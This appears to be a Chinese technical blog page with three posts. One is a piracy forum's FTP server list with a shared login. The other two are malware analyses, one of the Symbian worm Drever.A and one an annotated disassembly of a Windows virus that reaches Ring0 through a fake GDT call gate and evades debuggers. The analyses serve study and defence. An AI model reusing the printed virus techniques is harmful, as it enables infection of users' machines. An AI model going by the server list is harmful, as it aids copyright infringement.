2006年04月19日

TLF注会FTP列表(按服务器编号顺序排列,快速查找用)


Server00      tlfs0.3322.org:8028            注册会员      中文+英文游戏ISO

Server03      tlfs3.3322.org:4004            注册会员      RM内容仓库

Server06      tlfs6.3322.org:5512            注册会员      动画主力服务器                  

Server11      tlfs11.3322.org:33567            注册会员      网通交流divx分流

Server14      218.4.49.22:20601            注册会员      0day仓库,存放最近半年的0day

Server17      tlfs17.3322.org:9988            注册会员      注会0day第二分流3+1

Server18      tlfs18.3322.org:9988            注册会员      注会appz iso 3+1 日

Server19      tlfs19.3322.org:8021            注册会员      注册会员单日dvdr服务器

Server22      tlfs22.3322.org:9988            注册会员      注会音乐交流

Server23      tlfs23.3322.org:9988            注册会员      注会PS2      DVD 3+1      日

Server25      tlfs25.3322.org:8028            注册会员      软件交流

Server26      tlfs26.3322.org:555            注册会员      音乐交流

Server28      rococo.9966.org:21            注册会员      注会REQ服务器

Server31      tlfs31.3322.org:21            注册会员      提供双日english      movie

Server33      ycuckoo.3322.org:8028            注册会员      热门ps2dvd游戏及rom专用服务器

Server34      tlfs34.3322.org:9999            注册会员      english      tvrip

Server35      tlfs35.3322.org:4321            注册会员      注会divx 3+2 

Server36      sdjh.8800.org:18957            注册会员      注会3+2日 XBOX DVD+ROMS+RIPGAMES

Server37      tlfs37.3322.org:21            注册会员      服务器0day仓库服务器3号,提供2004年0910前的0day,教育网服务器

Server40      tlfs40.3322.org:2121            注册会员      提供rmvb格式的电影第三分流

Server41      tlfs41.3322.org:2324            注册会员      appz单日

Server42      Yuchao.3322.org:719            注册会员      pda下载服务器,服务器不再更新0day

Server43      tlfs43.3322.org:2004            注册会员      日韩和国产电视剧                  
              
Server44      tlfs44.3322.org:8021            注册会员      TLFDRAMA小组制作的内容

Server46      tlfs46.3322.org:2121            注册会员      粤语电视剧

Server47      tlfs47.3322.org:21            注册会员      网通english movie

Server48      tlfs48.3322.org:8028            注册会员      游戏iso及部分经典游戏

Server49      tlfs49.3322.org:8028            注册会员      TLFINT

Server50      tlfs50.3322.org:9988            注册会员      经典的PC游戏

Server51      tlfs51.3322.org                  注册会员      注会需求区

Server52      tlfs52.3322.org:9988            注册会员      rm格式连续剧

Server53      tlfs53.3322.org:4675            注册会员      3+0日xbox dvd游戏

Server55      tlfs55.3322.org:2000            注册会员      divx

Server56      tlfs56.3322.org:2102            注册会员      3+1日xbox dvd游戏和gamecube游戏

Server57      tlfs57.3322.org:32648            注册会员      3+0日ps2dvd

Server58      tlfs58.3322.org:6000(SSL加密)      注册会员      学习区FTP

Server61      tlfs61.3322.org:9988            注册会员      软件交流

Server62      tlfs62.3322.org:21            注册会员      注会DivX第三分流

Server63      flysnow.6600.org:5739            注册会员      动画仓库

Server64      tlfs64.3322.org:21            注册会员      rmvb格式的电影第二分流

Server65      tlfs65.3322.org:8028            注册会员      RM电视剧

Server67      tlfs67.3322.org:9988            注册会员      中文游戏和单日英文游戏

Server68      tlfs68.3322.org:8028            注册会员      单日english movie

Server69      tlfs69.3322.org:9988            注册会员      雷之源DIVX分流

Server70      tlfs70.3322.org:8021            注册会员      0day分流下载服务器3+0日

Server71      tlfs71.3322.org:21            注册会员      rm格式TVB电视剧

Server72      tlfs72.3322.org:2121            注册会员      教育网0day仓库附加服务器

Server73      tlfs73.3322.org:8021            注册会员      0day主力分流3+1日

Server74      tlfs74.3322.org:8121            注册会员      DivX 3+0服务器

Server77      tlfs77.3322.org:34521            注册会员      主力0day分流下载服务器3+2日

Server78      tlfs78.3322.org:5656            注册会员      rmvb格式的电影

Server79      tlfs79.3322.org:5555            注册会员      交流DivX 3+0

Server80      202.38.72.133:5757            注册会员      游戏教育网分流

Server82      tlfs82.3322.org:9988            注册会员      3+0日ps2dvd

Server83      tlfs83.3322.org:9988            注册会员      DivX第三分流

Server84      tlfs84.3322.org:39394            注册会员      ps2dvd,xboxdvd,pda

Server87      tlfs87.3322.org:29            注册会员      中英日文游戏iso以及部分经典游戏

Server89      tlfs89.3322.org:27            注册会员      杂志扫描组专用

Server90      tlfs90.3322.org:9988            注册会员      杂志扫描组发布

Server91      tlfs91.3322.org:2121            注册会员      教育网DivX

Server93      tlfs93.3322.org:8571            注册会员      电视剧分流
              
Server94      tlfs94.3322.org:21            注册会员      交流DivX 3+2

Server95      tlfs95.3322.org:21            注册会员      交流DivX 3+1

Server96      tlfs96.3322.org:21            注册会员      网通APPZ双日

Server97      xmlison.3322.org:8021            注册会员      DivX 3+1

Server98      ftp1.hixj.org:21            注册会员      0day仓库2号

Server101      tlfs101.3322.org:9988            注册会员      3+2日ps2dvd

Server106      tlfs106.3322.org:8021            注册会员      0day 3+2日

Server108      tlfs108.3322.org:28            注册会员      音乐REQ

Server109      tlfs109.3322.org:9843            注册会员      带有中文字幕的DVDR

Server110      tlfs110.3322.org:8028            注册会员      网通英文游戏双日

Server111      tlfs111.3322.org:1021            注册会员      补漏服务器

Server112      tlfs112.3322.org:9988            注册会员      双日0day MP3和全部0day MV

Server113      tlfs113.3322.org:21            注册会员      主力0day分流下载服务器3+0日

Server114      tlfs114.3322.org:60678            注册会员      注会VCD连续剧交流+hdtv

Server115      tlfs115.3322.org:21            注册会员      教育网appz分流

Server116      tlfs116.3322.org:4567            注册会员      网通TLFINT+DivX

Server117      tlfs117.3322.org:4321            注册会员      APPZ 3+2

Server118      tlfs118.3322.org:9999            注册会员      PSP+NDS游戏

Server119      tlfs119.3322.org:2121            注册会员      网通0day

Server120      tlfs120.3322.org:2711            注册会员      教育网0day仓库附加服务器

Server123      tlfs123.3322.org:50021            注册会员      APPZ 3+0

Server125      tlfs125.3322.org:60021            注册会员      综艺


注意:基本上所有的注会服务器,浏览帐号都是list/tlflist


TLF论坛首页
http://www.eastgame.net/

TLF FTP搜索

http://search.eastgame.net/search.php

在线服务器状态查询
http://search.eastgame.net/ftp.php

[TLF
0Day软件资讯站]

http://0daycheck.eastgame.net/

网通1类   s26,s34

网通2类
s9,s11,s41,s51,s63,s71,s85,s87,s96,s100,s110,s116,s119

电信1类 
s0,s6,s17,s23,s36,s43,s46,s50,s52,s56,s57,s60,s68,s79,s102

电信2类  s14,s18,s22,s24,s39,s40,s53,s65,s74,s82,s83,s93,s94,s97,s109,s125 


电信3类  s42,s44,s45,s61,s64,s66,s67,s78,s92 

电信4类  本面板只能用于 s19,s49,s70,s73,s86,s88,s94,s98,s101,s106,s113,s114(不支持中文用户名),s124,BT页面发布,动画ftp2 

2006年03月27日

Tutorial: Understanding Symbian virus (I)

Part 1. Basic

1.    Symbian OS common files:

    .sis    - Application setup package(You can get unsis tool from Symbian.com site, and it need Perl to run);
    .jar    - j2me application package(zip format);
    .app/.exe/.mdl/.dll        - application file;
    .aif    - Application Information File;
    
    etc.

2. Symbian OS common application files:

    App            - Most of application is in this type (It likes execute file on windows in function, but it is most likes dynamic link library in implementation);

    Console exe    - only for testing, few;

    Dll            - dynamic link library in symbian;

    Mdl            - a special type dynamic link library, use to autostart, the file will release to c:\system\recogs directory, fullname is MIME Recognizer Dll;

3. virus spread way:

    Trojan        - most in app format, few in console exe format, trojan application will run directly;

    Worm        - most in app format, worm will setup a MDL file to start main app automaticly, and spread itself by infrared, bluetooth, MMS or email;

    Virus        - infect EPOC32 format file?

Part 2. Analyze MDL sample for "Drever.A"

    Instruction:
    
    1. Symbian OS support several CPU architectures, the most mobile is using ARM. The virus analyzed in this text is also on ARM platform, so reader should know the BASIC ARM INSTRUCTION AND ARM PROGRAMMING.
    
    2. My main tool is IDA Pro 4.8. For reducing to use memory, Symbian OS APIs do not export the name(only by order), so we could not see the API name directly. I have written a IDA plugin to try to fix this problem. (The plugin is in testing, so I have not provided it yet. If you need or wanna try it, please contact me by email: jay_zephyr2002@yahoo.com.cn)

    3. How to pass the parameters in Symbian OS API or function:
        1) System will use R0-R3 to pass the parameters, generally speaking;
        2) If there is more than 4 parameters, the other parameters will be pass by stack;
        3) class method (not static) will use R0 to pass the class this pointer;
        4) return value is use R0 register;

===============================================================================
MDL application loading flow:

    Symbian OS MDL Loader
        ->    1. E32Dll(TDllReason)    // exported by mdl file, entrypoint
        ->    2. CreateRecognizer()    // exported by mdl file, order = 1
===============================================================================

1. See Entrypoint in IDA result:

—————————[ BEGIN IDA DISASSEMBLE ]—————————
.text:10000000  Start:
.text:10000000      B       loc_10000248
.text:10000248  loc_10000248:
.text:10000248      MOV     R0, #0
.text:1000024C      BX      LR
—————————-[ END IDA DISASSEMBLE ]—————————-

this is the E32Dll function in C program, the source is just like:

////////////////////////////////////////////////////////////////////////////////
// C++ functions
GLDEF_C TInt E32Dll(TDllReason /*reason*/)
{
    return 0;    // KErrNone
}
////////////////////////////////////////////////////////////////////////////////

2. View "CreateRecognizer" function (the same reason, the CreateRecognizer function is exported by order 1, not by name):

—————————[ BEGIN IDA DISASSEMBLE ]—————————
.text:10000218       EXPORT CreateRecognizer
.text:10000218  CreateRecognizer:
.text:10000218       STMFD   SP!, {R4,LR}
.text:1000021C       MOV     R0, #0×128
.text:10000220       BL      CBase::__nw(uint)
.text:10000224       SUBS    R4, R0, #0
.text:10000228       BEQ     faile_to_alloc_mem    ; if R0 == 0 then memory alloc failed!
.text:1000022C       MOV     R0, R4
.text:10000230       BL      recognizer_constructor    ; invoke recognizer constructor!
.text:10000234       MOV     R4, R0
.text:10000238
.text:10000238  faile_to_alloc_mem:
.text:10000238       BL      do_exe_virus_body
.text:1000023C       MOV     R0, R4
.text:10000240       LDMFD   SP!, {R4,LR}
.text:10000244       BX      LR
—————————-[ END IDA DISASSEMBLE ]—————————-

translate the assemble codes to C++ codes:

////////////////////////////////////////////////////////////////////////////////
// C++ functions
EXPORT_C CApaDataRecognizerType * CreateRecognizer()
{
    CApaDataRecognizerType * rg = new MyRecognizer();
    do_exe_virus_body();
    
    return rg;
}
////////////////////////////////////////////////////////////////////////////////

I have analyzed all codes for MyRecognizer class, and do not find any malware codes. I put the whole MyRecognizer class code at the end of this text.

Let’s check the function "do_exe_virus_body", this is the virus codes.

—————————[ BEGIN IDA DISASSEMBLE ]—————————
.text:10000068  do_exe_virus_body:
.text:10000068       STMFD   SP!, {R4,R5,LR}
.text:1000006C       SUB     SP, SP, #0×10
.text:10000070       MOV     R0, #4
.text:10000074       BL      __builtin_new
.text:10000078       SUBS    R5, R0, #0
.text:1000007C       LDRNE   R3, =0xFFFF8001
.text:10000080       STRNE   R3, [R5]
.text:10000084       MOV     R3, #0×100
.text:10000088       STR     R3, [SP,#arg_0] ; param4
.text:1000008C       STR     R3, [SP,#arg_4] ; param5
.text:10000090       MOV     R4, #0
.text:10000094       STR     R4, [SP,#arg_8] ; param6
.text:10000098       MOV     R3, #1
.text:1000009C       STR     R3, [SP,#arg_C] ; param7
.text:100000A0       MOV     R0, R5          ; this pointer
.text:100000A4       LDR     R1, =aSaboot    ; param1
.text:100000A8       LDR     R2, =ThreadProc ; param2
.text:100000AC       MOV     R3, #0×2000     ; param3
.text:100000B0       BL      RThread::Create(TDesC16 const &,int (*)(void *),int,int,int,void *,TOwnerType)
.text:100000B4       BL      User::LeaveIfError(int)
.text:100000B8       MOV     R0, R5
.text:100000BC       MOV     R1, R4
.text:100000C0       BL      RThread::SetPriority(TThreadPriority)
.text:100000C4       MOV     R0, R5
.text:100000C8       BL      RThread::Resume(void)
.text:100000CC       MOV     R0, R5
.text:100000D0       BL      RHandleBase::Close(void)
.text:100000D4       B       loc_100000E4
.text:100000E4
.text:100000E4  loc_100000E4:
.text:100000E4       ADD     SP, SP, #0×10
.text:100000E8       LDMFD   SP!, {R4,R5,LR}
.text:100000EC       BX      LR
—————————-[ END IDA DISASSEMBLE ]—————————-

OK, very easy, isn’t it? Let’s convert it. The result is:

////////////////////////////////////////////////////////////////////////////////
// C++ functions
void do_exe_virus_body()
{
    RThread thread;
    _LIT(KTxtName, "aSaboot");
    
    User::LeaveIfError(
        thread.Create(
            KTxtName, ThreadProc,
            0×2000, 0×100, 0×100,
            NULL, EOwnerThread)
        );
    
    thread.SetPriority(EPriorityNormal);
    thread.Resume();
    thread.Close();
}
////////////////////////////////////////////////////////////////////////////////

Now, we give the ThreadProc function codes (For lazy, I only show the C++ source):

////////////////////////////////////////////////////////////////////////////////
// C++ functions
TInt ThreadProc(TAny * /* arg */)
{
    TRAPD(err, exe_virus_app());
    return 0;
}

void exe_virus_app()
{
    const TUid uid = {0×100052C6};
    _LIT(KTxtVirusApp, "C:\system\apps\Gavnowin!\Gavnowin.app");

    RSystemAgent sa;
    RTimer timer;
    TInt n = 0;

    TRequestStatus req = 0×80000001;

    sa.Connect();
    sa.NotifyIREventSynchronously(0);
    timer.CreateLocale();

    while (sa.GetStatus()) {
        if (n>5) break;
        n++;

        timer.After(&req, 0×4C4B40);
        WaitForRequest(&req);    
    }

    sa.Close();
    EikDll::StartExeL(KTxtVirusApp);
}

////////////////////////////////////////////////////////////////////////////////
// Text end

OK, that’s all! If you found any bugs, please let me know.
Thanks for reading.

================================================================================
Appendix:
================================================================================
The follow is the MyRecognizer class source:

////////////////////////////////////////////////////////////////////////////////
// File name: MyRecognizer.h
////////////////////////////////////////////////////////////////////////////////

#include <apmrec.h>

const TUid MyUid = {0×101FEB56};

class CMyRecognizer : public CApaDataRecognizerType
{
public:
    CMyRecognizer();

    virtual ~CMyRecognizer();
    
    virtual TUint PreferredBufSize();
    virtual TDataType SupportedDataTypeL(TInt index) const;
    
private:
    virtual void DoRecognizeL(const TDesC& name, const TDesC8& buf);
};

////////////////////////////////////////////////////////////////////////////////
// File name: MyRecognizer.cpp
////////////////////////////////////////////////////////////////////////////////
#include "MyRecognizer.h"

CMyRecognizer::CMyRecognizer():
    CApaDataRecognizerType(MyUid, 0)
{
}

CMyRecognizer::~CMyRecognizer()
{
}

TUint CMyRecognizer::PreferredBufSize(TInt index)
{
    return 0;
}

TDataType CMyRecognizer::SupportedDataTypeL(TInt index) const
{
    return TDataType();
}

void CMyRecognizer::DoRecognizeL(const TDesC& name, const TDesC8& buf)
{
}
////////////////////////////////////////////////////////////////////////////////
//:~

2005年06月20日

;========================================================================
; From: www.donews.net/codez
; Created by codez @2005.
; Date: 2005/06/19
; Email: jay_zephyr2002@yahoo.com.cn
;
; 转载请保留此信息,谢谢!
;========================================================================
; 说明:
;    抱歉,这里的分析并不完整,我会抽空补上。
;
;    欠缺注视部分为 Ring0 代码 (欠缺内容包括:进入Ring0 后的检查部分以及Ring0驻留部分)
;    原因: 这个东西在我的 Win2K Pro SP4 和 WinXP SP2 上面根本不能进入 Ring0,完全模拟分析太费事:(
;
;    一些有用的部分:
;        1. 病毒判断自身是否驻留内存的标志:  if (dr0 == 0×474E4159) goto has_in_memory;
;        2. 病毒发作条件:
;            mov     ax, 1016h
;            out     70h, al
;            in      al, 71h
;            xchg    ah, al
;            out     70h, al
;            in      al, 71h
;
;            xor     ax, 926h        ; 这个发作条件太苛刻了,几乎没有电脑能够触发它!
;            jnz     do_not_trigger    ; 真不知道为什么瑞星要把它的等级定的那么高!!!
;
;=========================================================================
; 其他:
;    由于 codez 水平有限,分析也比较匆忙 (大概花了两个晚上的时间),另外还有一些东西也是初次接触,
;    如果有任何错误,请发信通知我!不胜感激!
;=========================================================================
; 警告:
;    本文仅供学习研究之用,任何人不得将其用于非法用途,对于任何与之相关所带来的后果均由使用者
;    承担。
;=========================================================================

block2_addr    dd 5683Ah        ; 45683A 这里指向 block2 (block2 包含破坏代码)
block1_len    dd 93Dh

; 圹圹圹圹圹圹圹?S U B    R O U T    I N E 圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹


        public start
start        proc near
        call    $+5
        pop    ebp
        add    ebp, 376h    ; ebp =    453A3E
        lea    edi, [ebp-8]    ; edi =    453A36
        nop
        nop
        nop
        mov    ebx, [esp+0]    ; Fetch    data: dword ptr    [esp] -> pointer to Kernel32 hModule
        cmp    ebx, 80000000h    ; Do not run on    Win9X system.
        ja    go_run_host
============================
        mov    ebx, 77E00000h    ; ugly code, but can be    work!
        call    seek_module_and_apis ; ;===========================================
                    ; ; input:
                    ; ;    edi -> HMODULE Name
                    ; ;    ebx -> HMODULE fuzzy addr in memory
                    ; ;===========================================
        lea    eax, [ebp-143h]
        push    eax        ; seh error handler: 4538FB
        xor    eaxeax
        push    dword ptr fs:[eax]
        mov    fs:[eax], esp
        call    Load_apis
        push    4
        push    1000h
        push    17A8h
        nop
        push    0
        call    dword ptr [ebp+20h] ; VirtualAlloc
        nop
        nop
        nop
        or    eaxeax
        jz    go_run_host
        cld
        lea    esi, [ebp-37Bh]    ; esi -    004536C3 (virus    start addr)
        mov    edieax
        mov    edxebp
        sub    edx, [ebp-14Fh]    ; edx =    400000 (hModule)
        sub    esiedx

loop_move_virus:            ; CODE XREF: start+7Ej
        add    esiedx
        movzx    ecx, word ptr [esi-4] ;    93D
        push    esi
        rep movsb        ; move virus body to new memory    alloced

        pop    esi
        mov    esi, [esi-8]
        or    esiesi
        jnz    short loop_move_virus

        mov    [ebp+0E2h], eax    ; [453B20] = hMemAlloced
        lea    edx, [ebp-57h]    ; 004539E7 (unicode: \Device\PhysicalMemory)
        nop
        nop
        nop
        lea    edi, [ebp-20h]    ; [453A1E]
        nop
        nop
        nop
        mov    [ebp-5Bh], edx    ; [4539E3] = edx
        nop
        nop
        nop
        and    di, 0FFFCh    ; 00453A1C
        push    edi
        push    18h
        pop    ecx
        push    ecx
        xor    eaxeax
        rep stosb        ; clear    memory
        pop    ecx
        pop    edi
        mov    esiedi
        mov    [edi], eax
        mov    [esi], ecx    ; OBJECT_ATTRIBUTES.Length = 0×18
                    ; OBJECT_ATTRIBUTES.RootDirectory = 0
        add    edi, 8
        lea    eax, [edx-8]
        mov    [edi], eax    ; OBJECT_ATTRIBUTES.ObjectName = \Device\PhysicalMemory
        mov    dword ptr [edi+4], 240h    ; OBJECT_ATTRIBUTES.Attributes = 0×240
                    ; other    members    for OBJECT_ATTRIBUTES are 0
        push    esi
        push    6        ; #define SECTION_MAP_WRITE   0×0002
                    ; #define SECTION_MAP_READ    0×0004
        lea    edi, [ebp+10h]    ; HANDLE - 00453A4E
        nop
        nop
        nop
        push    edi
;# COPY FROM: WDM.H

;NTSTATUS 
;  ZwOpenSection(
;    OUT    PHANDLE     SectionHandle,
;    IN ACCESS_MASK  DesiredAccess,
;    IN POBJECT_ATTRIBUTES  ObjectAttributes
;    );

;#COPY FROM: NTDEF.H

;typedef    struct _OBJECT_ATTRIBUTES32 {
;    ULONG Length;
;    ULONG RootDirectory;
;    ULONG ObjectName;
;    ULONG Attributes;
;    ULONG SecurityDescriptor;
;    ULONG SecurityQualityOfService;
;} OBJECT_ATTRIBUTES32;
        call    dword ptr [ebp+3Ah] ; ZwOpenSection
        nop
        nop
        nop
        or    eaxeax
        jz    ok_USE_GDT_enter_ring0 ; 453A1B
        push    esi

;=======================================
;#define    MEM_PRIVATE        0×20000    
;#define    MEM_MAPPED        0×40000
;=======================================
        push    60000h
        push    edi
        call    dword ptr [ebp+3Ah] ; ZwOpenSection
        nop
        nop
        nop
        push    esi
        xor    ebxebx
        push    ebx
        mov    eaxesp
        push    ebx
        mov    esiesp
        push    eax
        push    ebx
        push    esi
        push    ebx
        push    ebx
        push    4
        push    6
        push    dword ptr [edi]
        call    dword ptr [ebp+52h] ; GetSecurityInfo
        nop            ; al = 6 ?
        nop
        nop
        push    20h
        pop    ecx
        lea    edi, [ebp+12Eh]    ; 00453B6C
        push    edi
        xor    blbl
        rep stosb
        pop    edi
        inc    bl
        mov    byte ptr [edi],    2
        mov    [edi+4], bl
        mov    [edi+14h], bl
        mov    [edi+18h], bl
        call    push_string
; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪
aYangmin    db ‘YANGMIN’,0
; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪

push_string:                ; CODE XREF: start+118p
        pop    dword ptr [edi+1Ch]
        push    ecx
        push    esp
start        endp

        push    dword ptr [esi]
        push    edi
        push    1
        call    dword ptr [ebp+5Ah] ; SetEntriesInAclA
        nop
        nop
        nop
        xor    ebxebx
        mov    eax, [esp]
        push    ebx
        push    eax
        push    ebx
        push    ebx
        push    4
        push    6
        mov    edi, [ebp+10h]
        nop
        nop
        nop
        push    edi
        call    dword ptr [ebp+56h] ; SetSecurityInfo
        nop
        nop
        nop
        push    edi
        call    dword ptr [ebp+3Eh] ; ZwClose
        nop
        nop
        nop
        add    esp, 0Ch
        push    6
        lea    edi, [ebp+10h]
        nop
        nop
        nop
        push    edi
        call    dword ptr [ebp+3Ah] ; ZwOpenSection
        nop
        nop
        nop
        or    eaxeax
        jnz    go_run_host

ok_USE_GDT_enter_ring0:            ; CODE XREF: start+CEj
        lea    ecx, [ebp-23h]    ; 453A1B
        nop
        nop
        nop
        sgdt    qword ptr [ecx]    ; get gdtr info
        inc    dword ptr [ecx]    ; gdtr limit + 1
        movzx    edi, word ptr [ecx] ; edi = gdt    length
        mov    ebxedi
        mov    edx, [ecx+2]    ; edx =    gdt base (the value often is 0×80036000)
        cmp    edx, 80000000h
        jb    loc_4538D9    ; 453A4E
        cmp    edx, 0A0000000h
        ja    short loc_4538D9 ; 453A4E
        nop
        nop
        nop
        nop
        and    edx, 1FFFF000h    ; maybe    36000
        push    edi
        push    edx
        push    0
        push    6
        push    dword ptr [ebp+10h] ; ZwOpenSection HANDLE returned (453A4E)
        nop
        nop
        nop
        call    dword ptr [ebp+24h] ; MapViewOfFile (453A62)
===================================
NOW! Return value: eax - gdt table
===================================
        nop
        nop
        nop
        or    eaxeax
        jz    short loc_4538D9 ; 453A4E
        nop
        nop
        nop
        nop
        mov    ecxedi
        shr    ecx, 3        ; gdt_item_max_count = gdt_table_len / 8
        dec    ecx        ; max_index_value
        dec    ebx
        and    bl, 0F8h    ; last gdt item    offset in the gdt table
        lea    edi, [eax+ebx]    ; last gdt item    addr in    mem

loc_45388B:                ; CODE XREF: .text:00453892j
        sub    edi, 8
        test    byte ptr [edi+5], 0Fh
        loopne    loc_45388B
        jnz    short loc_4538D9 ; 453A4E
==================================
NOW! EDI - is a    reserved gdt item
==================================
        nop
        nop
        nop
        nop
        add    edi, 8        ; the next gdt item for    using
        lea    edx, [ebp+5Eh]    ; enter    Ring0 with GDT way (call to 453A9C)
        nop
        nop
        nop
        lea    esi, [ebp-2Bh]    ; VIRUS    APPEND FAKE CALL GATE :    453A13
        nop
        nop
        nop
====================================
FILL OFFSET FOR    VIRUS CALL GATE
====================================
        mov    [esi], dx
        shr    edx, 10h
        mov    [esi+6], dx
====================================
        push    edi
        mov    ecx, 2
        rep movsd        ; insert virus fake gate into gdt

        pop    edi
        mov    edxedi
        sub    edxeax
        or    dl, 3        ; selector for call (edi = index<<3+3)
        lea    eax, [ebp+0Ch]    ; 453A4A
        nop
        nop
        nop
        mov    [eax+4], dx    ; [453A4E] = DX
        push    eax
        push    26h
        call    dword ptr [ebp+28h] ; Sleep ();    //453A66
        nop
        nop
        nop
        pop    eax
        call    fword ptr [eax]    ; enter    Ring0 Game

loc_4538D9:                ; CODE XREF: .text:0045384Cj
                    ; .text:00453858j .text:00453878j
                    ; .text:00453894j
        push    dword ptr [ebp+10h] ; 453A4E
        nop
        nop
        nop
        call    dword ptr [ebp+3Eh] ; ZwClose 453A7C
        nop
        nop
        nop
        xor    eaxeax
        pop    dword ptr fs:[eax] ; remove virus seh handler
        add    esp, 8

go_run_host:                ; CODE XREF: start+1Bj    start+56j
                    ; .text:0045382Dj Load_apis+Dj
                    ; Load_apis+24j .text:00453950j
                    ; push_call_module_2+8j
        sub    ebp, 53A3Eh
        add    ebp, 3F491h    ; Original RVA = 3F491 (EPO = 43F491)
        push    ebp
        retn
; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪

seh_handler2:
        call    $+5
        pop    eax
        lea    eax, [eax-13h]
        push    eax
        mov    eax, [esp+10h]
        pop    dword ptr [eax+0B8h]
        xor    eaxeax
        retn

; 圹圹圹圹圹圹圹?S U B    R O U T    I N E 圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹


Load_apis    proc near        ; CODE XREF: start+3Ap
        pusha
        pushf
        mov    eax, [ebp-64h]
        nop
        nop
        nop
        cmp    eax, 77E60000h
        jnz    short go_run_host

        call    dword ptr [ebp+14h] ; IsDebuggerPresent
        nop
        nop
        nop
        or    eaxeax
        jnz    short loc_453934 ; jmp is debugger detected!
                    ; clear    eax if your debugger was detected!
        nop
        nop
        nop
        nop
        call    check_softice_in_memory

loc_453934:                ; CODE XREF: Load_apis+17j
        or    eaxeax
        jnz    short go_run_host
        popf
        popa
        call    push_module_name ; LoadLibrary
; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪
aAdvapi32    db ‘advapi32′,0
; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪

push_module_name:            ; CODE XREF: Load_apis+28p
        call    dword ptr [ebp+10h] ; LoadLibrary
        nop
        nop
        nop
        or    eaxeax
Load_apis    endp

        jz    short go_run_host
        mov    ebxeax
        lea    edi, [ebp+42h]    ; 453a80
        nop
        nop
        nop
        call    seek_module_and_apis ; ;===========================================
                    ; ; input:
                    ; ;    edi -> HMODULE Name
                    ; ;    ebx -> HMODULE fuzzy addr in memory
                    ; ;===========================================
        call    push_call_module_2
; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪
aNtdll        db ‘ntdll’,0

; 圹圹圹圹圹圹圹?S U B    R O U T    I N E 圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹


push_call_module_2 proc    near        ; CODE XREF: .text:0045395Fp
        call    dword ptr [ebp+10h]
        nop
        nop
        nop
        or    eaxeax
        jz    go_run_host
        mov    ebxeax
        lea    edi, [ebp+2Ch]
        nop
        nop
        nop
        call    seek_module_and_apis ; ;===========================================
                    ; ; input:
                    ; ;    edi -> HMODULE Name
                    ; ;    ebx -> HMODULE fuzzy addr in memory
                    ; ;===========================================
        retn
push_call_module_2 endp


; 圹圹圹圹圹圹圹?S U B    R O U T    I N E 圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹


check_softice_in_memory    proc near    ; CODE XREF: Load_apis+1Dp
        xor    eaxeax
        push    eax
        push    80h
        push    3
        push    eax
        inc    eax
        push    eax
        add    eax, 0Bh
        push    eax
        call    push_ntice_string
; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪
a_Ntice        db ‘\\.\NTICE’,0
; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪

push_ntice_string:            ; CODE XREF: check_softice_in_memory+11p
        call    dword ptr [ebp+18h]
check_softice_in_memory    endp

        nop
        nop
        nop
        inc    eax
        jnz    short loc_4539BE
        nop
        nop
        nop
        nop
        dec    eax
        push    eax
        call    dword ptr [ebp+1Ch] ; CloseHandle
        nop
        nop
        nop
        xor    eaxeax
        retn
; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪

loc_4539BE:                ; CODE XREF: .text:004539ADj
        mov    eax, 2
        retn
; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪
        add    [ecx+4Dh], bl
        and    [ebx+49h], cl
        dec    esp
        dec    esp
        and    [ecx+4Fh], bl
        push    ebp
; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪
        db    0    ;  
        db    0    ;  
        db    0    ;  
        db    0    ;  
        db    0    ;  
        db    0    ;  
        db    1    ;  
        db    0    ;  
        db    0    ;  
        db    0    ;  
hKernel32    dd 80400000h
        db  90h    ; 
        db  2Ch    ; ,
        db    0    ;  
        db  2Eh    ; .
        db    0    ;  
        db  32h    ; 2
        db  46h    ; F
        db  44h    ; D
        db    0    ;  
        db  5Ch    ; \        ; unicode: \Device\PhysicalMemory
        db    0    ;  
        db  44h    ; D
        db    0    ;  
        db  65h    ; e
        db    0    ;  
        db  76h    ; v
        db    0    ;  
        db  69h    ; i
        db    0    ;  
        db  63h    ; c
        db    0    ;  
        db  65h    ; e
        db    0    ;  
        db  5Ch    ; \
        db    0    ;  
        db  50h    ; P
        db    0    ;  
        db  68h    ; h
        db    0    ;  
        db  79h    ; y
        db    0    ;  
        db  73h    ; s
        db    0    ;  
        db  69h    ; i
        db    0    ;  
        db  63h    ; c
        db    0    ;  
        db  61h    ; a
        db    0    ;  
        db  6Ch    ; l
        db    0    ;  
        db  4Dh    ; M
        db    0    ;  
        db  65h    ; e
        db    0    ;  
        db  6Dh    ; m
        db    0    ;  
        db  6Fh    ; o
        db    0    ;  
        db  72h    ; r
        db    0    ;  
        db  79h    ; y
        db    0    ;  
===================================
VIRUS APPEND FAKE CALL GATE
===================================
        dw 46E7h        ; OFFSET LOWORD
        dw 8            ; SELECTOR
        db 0            ; COUNT
        db 0ECh            ; P:1; DPL:3; DT:0(SYS/GATE); TYPE:C(386 CALL GATE);
        dw 44h            ; OFFSET HIWORD
==================================
